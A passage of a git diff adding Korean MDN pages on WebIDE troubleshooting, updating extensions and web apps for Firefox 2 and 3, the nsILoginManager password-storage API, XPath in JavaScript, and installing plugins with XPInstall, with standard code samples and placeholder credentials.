  7. Under some part of this file tree, there should be files and/or directories that start with 4268914080AsptpcPerjo (a hashed name of the database)
  8. +
  9. Remove any such files and directories
  10. +
  11. Start Firefox and WebIDE again
  12. +
+ +

Enable logging

+ +

You can also enable verbose logging to gather diagnostics:

+ +
    +
  1. Open about:config, and add a new preference called extensions.adbhelper@mozilla.org.sdk.console.logLevel, with the string value all, and set extensions.adbhelper@mozilla.org.debug to true.
  2. +
  3. In the Add-ons Manager, disable and then re-enable the ADB Helper add-on.
  4. +
  5. Open the Browser Console and you'll now see console messages prefixed with adb. If the messages don't mean anything to you, ask for help.
  6. +
+ +

Get help

+ +

Go to the #devtools room on IRC and we will try to help.

diff --git a/files/ko/updating_extensions_for_firefox_2/index.html b/files/ko/updating_extensions_for_firefox_2/index.html new file mode 100644 index 0000000000..b8c6f9f648 --- /dev/null +++ b/files/ko/updating_extensions_for_firefox_2/index.html @@ -0,0 +1,30 @@ +--- +title: Updating extensions for Firefox 2 +slug: Updating_extensions_for_Firefox_2 +translation_of: Mozilla/Firefox/Releases/2/Updating_extensions +--- +

이 문서는 Firefox 2에서 확장 기능이 동작하도록 개발자들에게 유용한 정보를 제공해 줍니다. +

+

단계 1: install manifest 업데이트

+

첫 단계로 대부분의 확장기능이 install manifest 파일과 <tt>install.rdf</tt>에서 Firefox 2와의 호환성 정보를 기재해야 합니다. +

간단히 Furefix의 최대 호환 버전에 대한 정보를 제공하면 됩니다. Firefox 1.5는 다음과 같습니다. +

+
 <em:maxVersion>1.5.0.*</em:maxVersion>
+
+

Firefox 2와 호환성을 유지하려면 아래와 같이 수정 합니다. +

+
 <em:maxVersion>2.0.0.*</em:maxVersion>
+
+

확장 기능을 다시 설치해야 합니다. +

+

단계 2: XML 오버레이 업데이트

+

Firefox 2는 기본 스킨이 변경 됩니다. 부가적으로 몇 가지 사용자 인터페이스가 변경 됩니다. 어떤 부가 기능들은 XUL 오버레이와 관련되어 변경 가능성이 있습니다. +

XUL 오버레이와 관련된 변화에 대해서는 Firefox 2에서 테마 변경이라는 문서를 참고하십시오. +

+

단계 3: 테스트

+

확장 기능을 공개 하기 전에 Firefox 2에서 제대로 동작 여부를 테스트해야 합니다. 마지막으로 확장 기능 최신 버전이 Firefox에 문제가 있는 지 여부를 확인 하는 것이 좋습니다. +

+

단계 4: 출시

+

사용자들이 이용할 수 있도록 http://addons.mozilla.org 상 내용을 업데이트 합니다. +

부가적으로 확장 기능이 Firefox 2에서 업데이트 사실을 자동적으로 알 수 있도록 install manifest에 updateURL도 함께 변경 합니다. 이렇게 하면 사용자들이 Firefox 2로 업그레이드 한 후에 자동적으로 확장 기능 업데이트도 함께 제공하게 됩니다. +

{{ languages( { "pl": "pl/Aktualizacja_rozszerze\u0144_do_Firefoksa_2", "fr": "fr/Mise_\u00e0_jour_des_extensions_pour_Firefox_2", "en": "en/Updating_extensions_for_Firefox_2" } ) }} diff --git a/files/ko/updating_extensions_for_firefox_3/index.html b/files/ko/updating_extensions_for_firefox_3/index.html new file mode 100644 index 0000000000..82531182f4 --- /dev/null +++ b/files/ko/updating_extensions_for_firefox_3/index.html @@ -0,0 +1,137 @@ +--- +title: Updating extensions for Firefox 3 +slug: Updating_extensions_for_Firefox_3 +tags: + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/Updating_extensions +--- +
+

초안
+ 이 문서는 작성중입니다.

+ +
+ +

이 글은 기존에 작성한 확장 기능이 Firefox 3에서도 잘 작동할 수 있게 업데이트하기 원하는 개발자들에게 유용한 정보를 제공합니다.

+ +

진행하기 앞서 유용한 힌트를 드리겠습니다. 여러분이 작성한 확장기능이 install manifest의 maxVersion 값만 수정하면 되고 addons.mozilla.org 에서 제공되고 있다면, 새로운 버전의 확장기능을 업로드할 필요가 없습니다! 그냥 AMO에 있는 Developer Control Panel을 사용해서 maxVersion 을 수정하면 됩니다. 이렇게 하면 여러분의 확장기능이 다시 리뷰되는 것을 막을 수 있습니다.

+ +

1단계: install manifest 수정

+ +

첫 번째 단계(아마 대부분의 확장기능이 이 단계만 거치면 될 것 같습니다)는 install manifest 파일인 install.rdf를 Firefox 3과 호환되도록 수정하는 것입니다.

+ +

먼저 호환 가능한 Firefox의 최고 버전을 나타내는 라인을 찾습니다(Firefox 2에서는 다음과 같을 것입니다).

+ +
 <em:maxVersion>2.0.*</em:maxVersion>
+
+ +

이 라인을 Firefox 3과 호환되도록 수정하세요.

+ +
 <em:maxVersion>3.0.*</em:maxVersion>
+
+ +

그리고 확장 기능을 다시 설치하세요.

+ +

Firefox 3에서는 버전 번호의 마지막 ".0"이 사용되지 않으므로, "3.0.0.*" 대신 "3.0.*"으로 사용하면 된다는 점을 기억하세요.

+ +
주의: 현재 시점에서 Firefox 3가 계속적으로 변경이 있을것으로 생각됩니다. 이러한 변화들로 인해 어떤 확장기능들은 제대로 실행되지 않을 수도 있으므로 Firefox 3 release candidate 버전이 출시되기 전까지는 maxVersion3.0.*인 확장기능을 배포하지 않는 것이 좋습니다. Firefox 3 Beta 기간동안에는 maxVersion 값에 3.0b3을 사용하는 것이 좋습니다.
+ +

확장기능들을 제대로 동작하지 않게 만들 수 있는 API의 많은 변화가 있었고 앞으로도 계속될 것입니다. 우리는 이러한 변화에 대한 전체 목록을 제공하기 위해 지속적으로 작업하고 있습니다.

+ +
주의: 여러분의 확장기능이 아직도 install manifest가 아닌 Install.js 스크립트를 사용하고 있다면, 지금 시점에는 install manifest로 전환해야만 합니다. Firefox 3은 더 이상 XPI 파일의 install.js 스크립트를 지원하지 않습니다.
+ +

Install manifest에 지역화 추가하기

+ +

Firefox 3에서는 지역화된 정보를 명시하기 위해 install manifest에 새로운 속성을 지원합니다. 기존 방법들이 여전히 동작하긴 하지만 새로운 방법을 이용하면 Firefox에서 부가 기능의 설치가 중지되어 있거나 불가능한 동안에도 지역 정보를 선택할 수 있도록 해 줍니다. 자세한 내용은 Localizing extension descriptions을 참조하세요.

+ +

단계 2: 보안 업데이트를 제공하고 있는지 확인하세요.

+ +

여러분이 직접 부가기능을 제공하고 있지만 addons.mozilla.org과 같은 보안을 지원하지 않을 경우에는, 부가 기능을 업데이트할 수 있는 보안 방법을 제공해야 합니다. 이를 위해서는 여러분의 업데이트 사이트가 SSL 웹사이트에서 운영되던지 업데이트 정보가 서명된 암호화 키를 사용해야 합니다. 자세한 정보는 Securing Updates를 읽어보세요.

+ +

단계 3: 변경된 API 처리하기

+ +

몇 가지 API에서 중요한 변화가 있었습니다. 다음은 대부분의 확장 기능에 영향을 줄 것으로 보이는, 가장 중요한 변화들 입니다.

+ +

DOM

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

북마크 & 히스토리

+ +

여러분의 확장 기능이 어떤 방식으로든 북마크나 히스토리 자료에 접근한다면, Firefox 3과 호환되도록 하기 위해 많은 수정 작업이 필요합니다. 해당 정보에 접근하는데 사용되었던 기존 API는 새로운 Places 구조로 변경되었습니다. 기존 확장 기능을 Places API를 사용하도록 업데이트하는 것과 관련된 상세 내용은 플레이스로 이행 가이드를 참조하세요.

+ +

다운로드 관리자

+ +

다운로드 관리자 API는 RDF data store에서 [Storage]] API로의 변경으로 인하여 약간의 변경 사항이 있습니다. 이와 관련된 변경은 꽤 쉽습니다. 추가적으로 다운로드 진행을 모니터링하는 API에서는 다중 다운로드 관리자 리스너를 지원하도록 변경되었습니다. 자세한 내용은 nsIDownloadManager, nsIDownloadProgressListener, Monitoring downloads를 참조하세요.

+ +

암호 관리자

+ +

여러분의 확장기능이 암호 관리자를 이용하여 사용자의 로그인 정보에 접근한다면, 새로운 암호 관리자 API를 사용하도록 업데이트해야만 합니다.

+ + + +

Popups (Menus, Context Menus, Tooltips and Panels)

+ +

The XUL Popup system was heavily modified in Firefox 3. The Popup system includes main menus, context menus and popup panels. A guide to using Popups has been created, detailing how the system works. One thing to note is that popup.showPopup has been deprecated in favor of new popup.openPopup and popup.openPopupAtScreen.

+ +

제거된 인터페이스

+ +

다음 인터페이스들은 Firefox 3의 기반인 Gecko 1.9에서 제거되었습니다. 확장 기능이 이것들을 사용한다면 코드를 업데이트 해야 합니다.

+ + + +

Step 4: Check for relevant chrome changes

+ +

There has been a minor change to the chrome that may require changes in your code. A new vbox has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window. Although this doesn't affect the appearance of the display, it may affect your extension if it overlays chrome relative to these elements.

+ +

For example, if you previously overlaid some chrome before the status bar, like this:

+ +
<window id="main-window">
+  <something insertbefore="status-bar" />
+</window>
+
+ +

You should now overlay it like this:

+ +
<vbox id="browser-bottombox">
+  <something insertbefore="status-bar" />
+</vbox>
+
+ +
주의: This change is effective for Firefox 3 beta 4 and the pre-beta 4 nightlies.
+ +

그 밖의 변화들

+ +

여러분의 확장기능이 Firefox 3에서 제대로 동작하기 위해 업데이트 했던 간단한 사항들을 추가해 주세요.

+ + + +
 
diff --git a/files/ko/updating_web_applications_for_firefox_3/index.html b/files/ko/updating_web_applications_for_firefox_3/index.html new file mode 100644 index 0000000000..6598042587 --- /dev/null +++ b/files/ko/updating_web_applications_for_firefox_3/index.html @@ -0,0 +1,38 @@ +--- +title: Updating web applications for Firefox 3 +slug: Updating_web_applications_for_Firefox_3 +tags: + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/Updating_web_applications +--- +

{{ Fx_minversion_header(3) }}{{ Draft() }} Firefox 3에는 웹 사이트와 웹 애플리케이션에 영향을 줄 수 있는 다수의 변경 사항과 잇점을 줄 수 있는 새로운 기능이 포함 되어 있습니다. 이 문서는 Firefox 3의 잇점을 최대한 이용 가능할 수 있도록 웹 사이트를 업데이트 하는 방법을 알려 줄 것입니다.

+ +

Firefox 3는 2007년 가을 현재 베타 버전을 출시하였습니다.

+ +

이 문서를 계속 주시하시면 추가 사항들을 계속 업데이트 할 것입니다.

+ +

DOM 변경 사항

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

HTML 변경 사항

+ +

Firefox 3는 frame과 iframe이 부모의 문자 인코딩을 상속받도록 하는 보안 문제를 해결하였습니다. 이 문제는 여러 가지 이슈를 만들어내었습니다. 이제 frame은 두 frame이 같은 서버에서 읽으면 부모의 문자 인코딩만 상속 받습니다. 만약 여러분의 웹 페이지 내에서 다른 서버에 있는 웹 페이지를 frame으로 호출할 경우, HTML로 특정 문자 인코딩을 선언해 주어야 합니다.

+ +

JavaScript 변경 사항

+ +

Firefox 3는 JavaScript 1.8을 지원 합니다. 웹 사이트에서 변경 해야할 주요 사항은 이제 더 이상 사용하지 않는 비표준 Script 객체를 더 이상 지원하지 않는 다는 것입니다. 그러나 Script가 비표준이기 때문에 대부분 이런 문제를 가지고 있지 않을 것으로 판단 하고 있습니다.

+ +

참고 사항

+ +

Firefox 3 개발자 필독 사항, JavaScript 1.8, Firefox 3를 위한 확장 기능 업데이트

+ +
 
+ +

{{ languages( { "fr": "fr/Mise_\u00e0_jour_des_applications_Web_pour_Firefox_3", "en": "en/Updating_web_applications_for_Firefox_3", "ja": "ja/Updating_web_applications_for_Firefox_3" } ) }}

diff --git a/files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html b/files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html new file mode 100644 index 0000000000..194ca2c7b7 --- /dev/null +++ b/files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html @@ -0,0 +1,13 @@ +--- +title: Using Mozilla in Testing and Debugging Web Sites +slug: Using_Mozilla_in_Testing_and_Debugging_Web_Sites +translation_of: Using_Mozilla_in_Testing_and_Debugging_Web_Sites +--- +
+

Original Document Information

+ +
diff --git a/files/ko/using_nsiloginmanager/index.html b/files/ko/using_nsiloginmanager/index.html new file mode 100644 index 0000000000..738636ae3e --- /dev/null +++ b/files/ko/using_nsiloginmanager/index.html @@ -0,0 +1,141 @@ +--- +title: Using nsILoginManager +slug: Using_nsILoginManager +tags: + - Firefox 3 + - Interfaces +translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager +--- +

+

로그인 관리자로 작업 하기

+

확장은 종종 외부 사이트나 웹 애플리케이션 등의 암호를 안전하게 저장할 필요가 있습니다. 그러기 위해서는 민감한 암호 정보를 저장하기 위한 안전한 저장소를 제공하는 nsILoginManager와 로그인 정보를 저장하는 방법을 제공하는 nsILoginInfo를 사용할 수 있습니다.

+

nsILoginManager 얻기

+

nsILoginManager를 구현한 콤포넌트를 얻으려면 다음 코드를 사용합니다.

+
var passwordManager = Components.classes["@mozilla.org/login-manager;1"]
+                                .getService(Components.interfaces.nsILoginManager);
+
+

대부분의 로그인 관리자 함수는 nsILoginInfo 개체를 매개 변수로 취합니다. nsILoginInfo 개체는 다음과 같은 속성을 포함합니다: hostname, form submit URL, HTTP realm, username, username field, password, password field. hostname, username, password는 필수 속성이지만 기타 필드는 로그인이 웹 페이지 양식을 위한 것인지 아니면 HTTP/FTP 인증 사이트 로그인인지에 따라 설정됩니다. 자세한 정보는 nsILoginInfo 속성 정의를 참고하시기 바랍니다. nsILoginInfo 개체를 정의하는 것은 간단합니다.

+
var nsLoginInfo = new Components.Constructor("@mozilla.org/login-manager/loginInfo;1",
+                                             Components.interfaces.nsILoginInfo,
+                                             "init");
+
+var loginInfo = new nsLoginInfo(hostname, formSubmitURL, httprealm, username, password,
+                                usernameField, passwordField);
+
+

예제

+

웹 페이지를 위한 로그인 생성

+
 var formLoginInfo = new nsLoginInfo('http://www.example.com',
+                       'http://login.example.com', null,
+                       'joe', 'SeCrEt123', 'uname', 'pword');
+
+

이 로그인은 다음과 같은 HTML 양식에 해당합니다.

+
 
+  <form action="http://login.example.com/foo/authenticate.cgi">
+  Please log in.
+  Username: <input type="text"     name="uname">
+  Password: <input type="password" name="pword">
+  </form>
+  
+
+

사이트 인증 로그인 생성

+
 var authLoginInfo = new nsLoginInfo('http://www.example.com',
+                       null, 'ExampleCo Login',
+                       'alice', 'SeCrEt321', null, null);
+
+

이는 서버가 다음과 같은 응답을 보낼 때 http://www.example.com에 로그인 하는 것에 해당합니다.

+
 HTTP/1.0 401 Authorization Required
+ Server: Apache/1.3.27
+ WWW-Authenticate: Basic realm="ExampleCo Login"
+
+

지역 확장 로그인 생성

+
 var extLoginInfo = new nsLoginInfo('chrome://firefoo',
+                      'User Registration', null,
+                      'bob', '123sEcReT', null, null);
+
+

로그인 관리자는 이를 웹 사이트 로그인인 것처럼 취급합니다. 다른 확장과 충돌을 피하려면 확장의 chrome:// URL과 로그인의 목적을 나타내는 영역 문자열을 사용해야 합니다.

+

암호 저장하기

+

로그인 관리자에 암호를 저장하려면 먼저 위에서 정의한 대로 nsILoginInfo 개체를 생성해야 합니다. 그리고 나서 간단하게 nsILoginManager의 메소드인 addLogin()를 호출합니다.

+
 myLoginManager.addLogin(loginInfo);
+
+

주의: <tt>httprealm</tt>과 <tt>formSubmitURL</tt> 매개 변수가 모두 NULL이면 여기에서 예외가 발생합니다. 암호를 저장하려면 하나를 지정해야 합니다. <tt>hostname</tt>, <tt>username</tt>, <tt>password</tt> 매개 변수 또한 필수입니다.

+

암호 구하기

+

로그인 관리자에서 암호를 구하는 것은 약간 더 어렵습니다. 암호를 찾으려면 <tt>hostname</tt>, <tt>formSubmitURL</tt>, <tt>httprealm</tt>이 찾을 암호를 위해 저장된 것과 정확하게 일치해야 합니다. 유일한 예외는 저장된 <tt>formSubmitURL</tt>이 비어 있으면 이 경우에 <tt>formSubmitURL</tt> 매개 변수는 무시한다는 것입니다. <tt>hostname</tt>과 <tt>formSubmitURL</tt> 인수는 전체 URL의 경로를 포함하면 안된다는 점에 주의하십시오. 아래 예제는 양식 로그인을 위한 시작점을 제공할 것입니다.

+
var hostname = 'http://www.example.com';
+var formSubmitURL = 'http://www.example.com';  // not http://www.example.com/foo/auth.cgi
+var httprealm = null;
+var username = 'user';
+var password;
+
+try {
+   // Get Login Manager
+   var myLoginManager = Components.classes["@mozilla.org/login-manager;1"]
+                         .getService(Components.interfaces.nsILoginManager);
+
+   // Find users for the given parameters
+   var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
+
+   // Find user from returned array of nsILoginInfo objects
+   for (var i = 0; i < logins.length; i++) {
+      if (logins[i].username == username) {
+         password = logins[i].password;
+         break;
+      }
+   }
+}
+catch(ex) {
+   // This will only happen if there is no nsILoginManager component class
+}
+
+

사용자가 암호를 안전하게 보관하도록 마스터 암호를 지정했다면 이를 입력하라는 요청을 받게 된다는 점을 참고하십시오.

+

암호 제거하기

+

암호를 제거하는 것은 간단합니다.

+
 myLoginManager.removeLogin(loginInfo);
+
+

암호를 제거할 때 지정한 nsILoginInfo 개체는 저장된 것과 정확하게 일치해야 하며 그렇지 않으면 예외가 발생합니다. 이는 password 속성을 포함합니다. 여기에 실제로 암호가 무엇인지 모르면서 암호를 제거하는 방법을 보여주는 예제가 있습니다.

+
// example values
+var hostname = 'http://www.example.com';
+var formSubmitURL = 'http://www.example.com';
+var httprealm = null;
+var username = 'user';
+
+try {
+   // Get Login Manager
+   var passwordManager = Components.classes["@mozilla.org/login-manager;1"]
+                         .getService(Components.interfaces.nsILoginManager);
+
+   // Find users for this extension
+   var logins = passwordManager.findLogins({}, hostname, formSubmitURL, httprealm);
+
+   for (var i = 0; i < logins.length; i++) {
+      if (logins[i].username == username) {
+         passwordManager.removeLogin(logins[i]);
+         break;
+      }
+   }
+}
+catch(ex) {
+   // This will only happen if there is no nsILoginManager component class
+}
+
+

저장된 로그인 정보 변경하기

+

암호를 변경하는 것은 간단합니다. 여기에서 하는 모든 일은 removeLogin()를 호출하고 나서 addLogin()를 호출하는 것이므로 두 가지 모두와 같은 주의 사항이 있습니다. 즉, <tt>oldLogin</tt>은 기존 로그인과 정확하게 일치해야 하고 (위를 참고) <tt>newLogin</tt> 속성은 올바르게 지정되야 합니다.

+
myLoginManager.modifyLogin(oldLogin, newLogin);
+

디버깅

+

로그인 관리자 구현은 오류 콘솔로 디버그 메시지를 보내는 것이 가능한데, 이는 하고 있는 일을 어느 정도 보여줍니다. 디버그 로깅을 활성화하려면 http://wiki.mozilla.org/Firefox:Pass...ager_Debugging 을 참고하시기 바랍니다.

+

Firefox 구 버전 지원

+

여러분의 확장이 Firefox 3와 구 버전을 모두 지원하기를 바란다면 nsILoginManagernsIPasswordManager 콤포넌트를 모두 구현해야 합니다. 이를 위한 간단한 방법은 다음과 같습니다.

+
if ("@mozilla.org/passwordmanager;1" in Components.classes) {
+   // Password Manager exists so this is not Firefox 3 (could be Firefox 2, Netscape, SeaMonkey, etc).
+   // Password Manager code
+}
+else if ("@mozilla.org/login-manager;1" in Components.classes) {
+   // Login Manager exists so this is Firefox 3
+   // Login Manager code
+}
+
+

 

+

 

+

 

+
+  
+

diff --git a/files/ko/using_xpath/index.html b/files/ko/using_xpath/index.html new file mode 100644 index 0000000000..ec19f26bcc --- /dev/null +++ b/files/ko/using_xpath/index.html @@ -0,0 +1,86 @@ +--- +title: Using XPath +slug: Using_XPath +tags: + - AJAX + - Add-ons + - DOM + - Extensions + - Transforming_XML_with_XSLT + - XPath +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +--- +

XPath은 XML 문서의 위치 정보를 위한 언어입니다. +

이 문서는 자바스크립트 코드와 XPath의 관계를 위한 Mozilla 인터페이스에 대해 설명합니다. 이러한 것들은 (이 부분에 대해 W3C 작업 그룹에서 작성한) DOM Level 3 XPath에 설명되어 있습니다. +

이 문서는 XPath 자체를 설명하지 않습니다. 기술에 대해 익숙하지 않다면 W3Schools XPath tutorial을 참고하십시오. +

+

Wrapper function

+

다음의 함수는 주어진 XML 노드의 XPath 표현을 평가하는데 사용할 수 있습니다. 첫 번째 전달인자는 DOM 노드 혹은 Document 객체이고, 두 번째 전달인자는 XPath 표현에 대한 문자열 정의입니다. +

+
// Evaluate an XPath expression aExpression against a given DOM node
+// or Document object (aNode), returning the results as an array
+// thanks wanderingstan at morethanwarm dot mail dot com for the
+// initial work.
+function evaluateXPath(aNode, aExpr) {
+  var xpe = new XPathEvaluator();
+  var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ?
+    aNode.documentElement : aNode.ownerDocument.documentElement);
+  var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null);
+  var found = [];
+  var res;
+  while (res = result.iterateNext())
+    found.push(res);
+  return found;
+}
+
+

이 함수는 new XPathEvaluator()와 같이 사용할 수 있습니다. 이것의 생성자는 Mozilla에 정의되어 있습니다. 다른 브라우저에서 사용될 웹페이지에서 이 스크립트가 사용된다면 다음과 같이 new XPathEvaluator()를 호출하면 됩니다: +

+
  // XPathEvaluator is implemented on objects that implement Document
+  var xpe = aNode.ownerDocument || aNode;
+
+

이 예에서 XPathNSResolver를 생성하는 것은 다음과 같이 간략화할 수 있습니다: +

+
  var nsResolver = xpe.createNSResolver(xpe.documentElement);
+
+

그러나 createNSResolver는 XPath 표현에 대한 네임스페이스가 정해져 있고, 그러한 것들이 쿼리를 보낼 문서의 내용과 일치하여야 합니다. 그렇지 않다면 당신 자신만의 XPathNSResolver를 수행하는 부분을 만들어야 합니다. +

(Parsing and serializing XML에서 설명하는 것과 같은) DOM 트리안에 로컬이나 원격 XML 파일을 읽기 위해 XMLHttpRequest를 사용한다면, evaluateXPath()의 첫 번째 전달인자는 req.responseXML가 되어야 합니다. +

+

사용예

+

다음과 같은 XML 문서가 있다고 가정합니다.(How to Create a DOM treeParsing and serializing XML을 참조하십시오.): +

+
<?xml version="1.0"?>
+<people>
+  <person first-name="eric" middle-initial="H" last-name="jung">
+    <address street="321 south st" city="denver" state="co" country="usa"/>
+    <address street="123 main st" city="arlington" state="ma" country="usa"/>
+  </person>
+
+  <person first-name="jed" last-name="brown">
+    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
+    <address street="123 west st" city="seattle" state="wa" country="usa"/>
+    <address street="321 south avenue" city="denver" state="co" country="usa"/>
+  </person>
+</people>
+
+

XPath 표현으로 문서에 "query"를 보낼 수 있습니다. 비록 DOM 트리를 탐색하는 것이 비슷한 결과를 가져오더라도 XPath를 사용하는 것이 더 빠르고 강력합니다. 만일 id attribute를 사용한다면 document.getElementById()를 사용해도 여전히 강력합니다. 하지만, XPath 만큼 강력하지 않습니다. 몇 가지 예제가 있습니다: +

+
// display the last names of all people in the doc
+var results = evaluateXPath(people, "//person/@last-name");
+for (var i in results)
+  alert("Person #" + i + " has the last name " + results[i].value);
+
+// get the 2nd person node
+results = evaluateXPath(people, "/people/person[2]");
+
+// get all the person nodes that have addresses in denver
+results = evaluateXPath(people, "//person[address/@city='denver']");
+
+// get all the addresses that have "south" in the street name
+results = evaluateXPath(people,  "//address[contains(@street, 'south')]");
+alert(results.length);
+
+

정보

+ + +

{{ languages( { "fr": "fr/Utilisation_de_XPath", "ja": "ja/Using_XPath", "ko": "ko/Using_XPath" } ) }}

diff --git a/files/ko/using_xpinstall_to_install_plugins/index.html b/files/ko/using_xpinstall_to_install_plugins/index.html new file mode 100644 index 0000000000..81b474d7dc --- /dev/null +++ b/files/ko/using_xpinstall_to_install_plugins/index.html @@ -0,0 +1,218 @@ +--- +title: Using XPInstall to Install Plugins +slug: Using_XPInstall_to_Install_Plugins +tags: + - Plugins + - XPInstall +translation_of: Archive/Mozilla/XPInstall/Installing_plugins +--- +

 

+

XPInstall is a JavaScript-based installer technology that works across all the platforms that Mozilla and Netscape browsers based on Mozilla (such as Netscape 7) are deployed. It can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on Windows) or obliging the user to restart their browser. For plugin vendors who have already written a native code (e.g. EXE) installer, XPInstall can wrap this native installer and run it so that the user never has to leave the browsing environment and click on the EXE to run it. This article presents a guideline for improving the plugin installation experience for Netscape Gecko browsers using XPInstall.

+

A Definition of Terms

+

XPInstall is an installer technology, and the name itself stands for "Cross Platform Install" (hence "XP" -- an abbreviation for "Cross Platform"). An XPInstall package is usually called an XPI package for short (and often pronounced "zippy"). This article is about how you can use XPInstall to install plugins to the browsers that support XPInstall.

+

An XPI Package is in fact a ZIP file with the XPI file extension (e.g. myPluginInstaller.xpi), and can be created on Windows by utilities such as WinZip. XPI Packages, like ZIP files, "contain" other files, typically:

+ +

You can create an XPInstall file by first zipping all the items you want installed with WinZip (create a ZIP archive) and then renaming it with the XPI file extension instead of the ZIP file extension.

+

Unlike native code installers (for example, files called setup.exe), the programming language for install operations in XPI is JavaScript. Since the file format that contains the software and the install.js JavaScript file is a cross-platform file (Zip) and since JavaScript is understood by Mozilla browsers on all platforms, often one single XPI package can be deployed on all platforms. This is, in fact, how skins and themes are installed to Mozilla browsers, changing their look and feel. This article focuses on how to install plugins.

+

Which Browsers Support XPInstall?

+

Currently, all Mozilla browsers released by mozilla.org support XPInstall, and a family of browsers based on Mozilla code support XPInstall. In particular, this includes:

+ +

Caveats:

+ +

What Does a Plugin Consist Of?

+

Plugins can consist of the following types of files, all of which can be installed via an XPI Package:

+ +

XPInstall can be used to install any combination of these files on an end-user's machine. For those familiar with Netscape Communicator 4.x's SmartUpdate technology, this will be a familiar idea.

+

A Brief History of Netscape Installer Technologies

+

This section is relevant if you are familiar with Netscape Communicator 4.x's SmartUpdate installer technology. The use of JavaScript as the install logic is not unprecedented in Netscape browsers. Netscape Communicator 4.x uses the notion of SmartUpdate to install software, particularly plugins and Java applets to be run locally. SmartUpdate is + + not supported + by Mozilla browsers (and Netscape/AOL browsers based on Mozilla such as Netscape 7), but because of the similarity between the two installer technologies, it is easy to convert your SmartUpdate files to XPInstall files. SmartUpdate involves a digitally signed JAR file which contained the software components to be installed as well as a JavaScript install.js file (called the install script) as the installer logic. Downloads and installs would be initiated with a security dialog box naming the certificate authority and the signer. Often, the SmartUpdate download was triggered via the pluginurl attribute of the embed tag:

+
<embed type="application/x-randomtype" src="myfile.typ" width="50" height="50"
+pluginurl="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"></embed>
+
+

In the example above, the pluginurl attribute points to the signed JAR file, which Netscape Communicator 4.x would then download (subject to the security dialog boxes) if the plugin was not located on the user's machine. SmartUpdate differs from XPInstall in that:

+ +

XPInstall for Mozilla-based browsers is analogous to SmartUpdate in Netscape Communicator 4.x browsers. Porting SmartUpdate deployments to XPInstall is trivial after gaining some familiarity with the new XPInstall API.

+ +

XPInstall provides a cohesive API to accomplish rapid installation and setup of plugin software for end-users. The benefit of using XPInstall is to provide a streamlined installation mechanism. This section discusses what an ideal XPInstall Package will do, as well as points out some of the JavaScript API calls that you will make to accomplish these install tasks. An ideal XPI Package will:

+
    +
  1. Install to the current browser that is initiating the XPInstall installation via HTML or triggering an XPInstall installation via a Trigger Script. We will use the term current browser to refer to the browser that initiates the XPInstall download by visiting a site which requires a plugin that the current browser can not find locally. This step will involve the use of the initInstall API call to start everything off, and also the getFolder API call, which helps to locate the current browser's plugin directory.
  2. +
  3. Install the plugin software to another location on the user's hard disk, so that other Mozilla-based browsers that the user may install later can find the plugin (the browser specific components) and pick it up. The goal is to ensure that future Netscape Gecko browsers that the user may install later can benefit from the installation that the user initiated with the current browser. An example might be that the current browser is Netscape 7, but later, the user downloads a beta of the AOL software using Netscape Gecko. Rather than re-initiate the download of the plugin with the yet another browser, the second Netscape Gecko browser can detect that an installation has already occurred. This discovery mechanism hinges on making the secondary install location available from looking at a common repository of metadata. On Windows, this is the Windows System Registry. Once again, this step involves calls to getFolder to locate a "well known" directory in which to install to as a secondary install location.
  4. +
  5. On Windows: write Windows Registry keys that Netscape Gecko browsers (that get installed after the current browser) can parse to discover where the plugin is installed on the machine. In particular, the Windows Registry keys should point to the secondary install location so that future Netscape Gecko browsers can find and add to their list of available plugin locations. The exact format of these registry keys and how they should be written is covered in the section on the first install problem. To actually create and write keys to the Windows System Registry, you'll use the functions of the WinReg object.
  6. +
  7. Ensure that the plugin that has just been installed is refreshed by correctly invoking the refreshPlugins API. By refreshing your plugin, you're ensuring that the plugin is available for use immediately, without obliging the user to restart their browser. This is one of the chief advantages of a smooth XPInstall experience.
  8. +
+

The First Install Problem

+

The First Install Problem refers to the conditions arising when a plugin arrives on a user's machine before a browser arrives. The recommended install process addresses this issue, which is to install to a secondary location after installing to the current browser. In a nutshell, the first install problem can be summed up by the question: how can a browser which is installed on a user's machine after a given plugin has already been installed by the user benefit from the existing installation rather than download the same plugin again? In order to address this issue, plugin vendors are encouraged to:

+ +

A Breakdown of the APIs Used

+

The recommended plugin installation process makes use of the XPInstall APIs to install to the current browser's Plugins directory, install to a secondary location, and to write to the Windows System Registry to disclose this secondary location. This section traces some of the XPInstall APIs that can do this. A complete template of an XPI Package is also presented in this section. Not all the work needs to be done in JavaScript -- if you have a native installer (EXE) that recognizes Netscape Gecko browsers, and you merely wish to wrap the EXE installer in an XPI Package for a streamlined delivery to the client, you can easily do so. This section refers extensively to the XPInstall API Documentation.

+

Initializing Installation with Plugin Identifier

+

All XPInstall installations are initiated with the initInstall method of the Install Object. Since the Install Object is available to the install script, it need not be mentioned in the install script (e.g. there is no need to invoke Install.initInstall; simply invoking initInstall will suffice). The initInstall method is polymorphic, but here is a recommended invocation mechanism:

+
initInstall("My Plugin Software", "@myplugin.com/MyPlugin,version=2.5", "2.5.0.0");
+
+

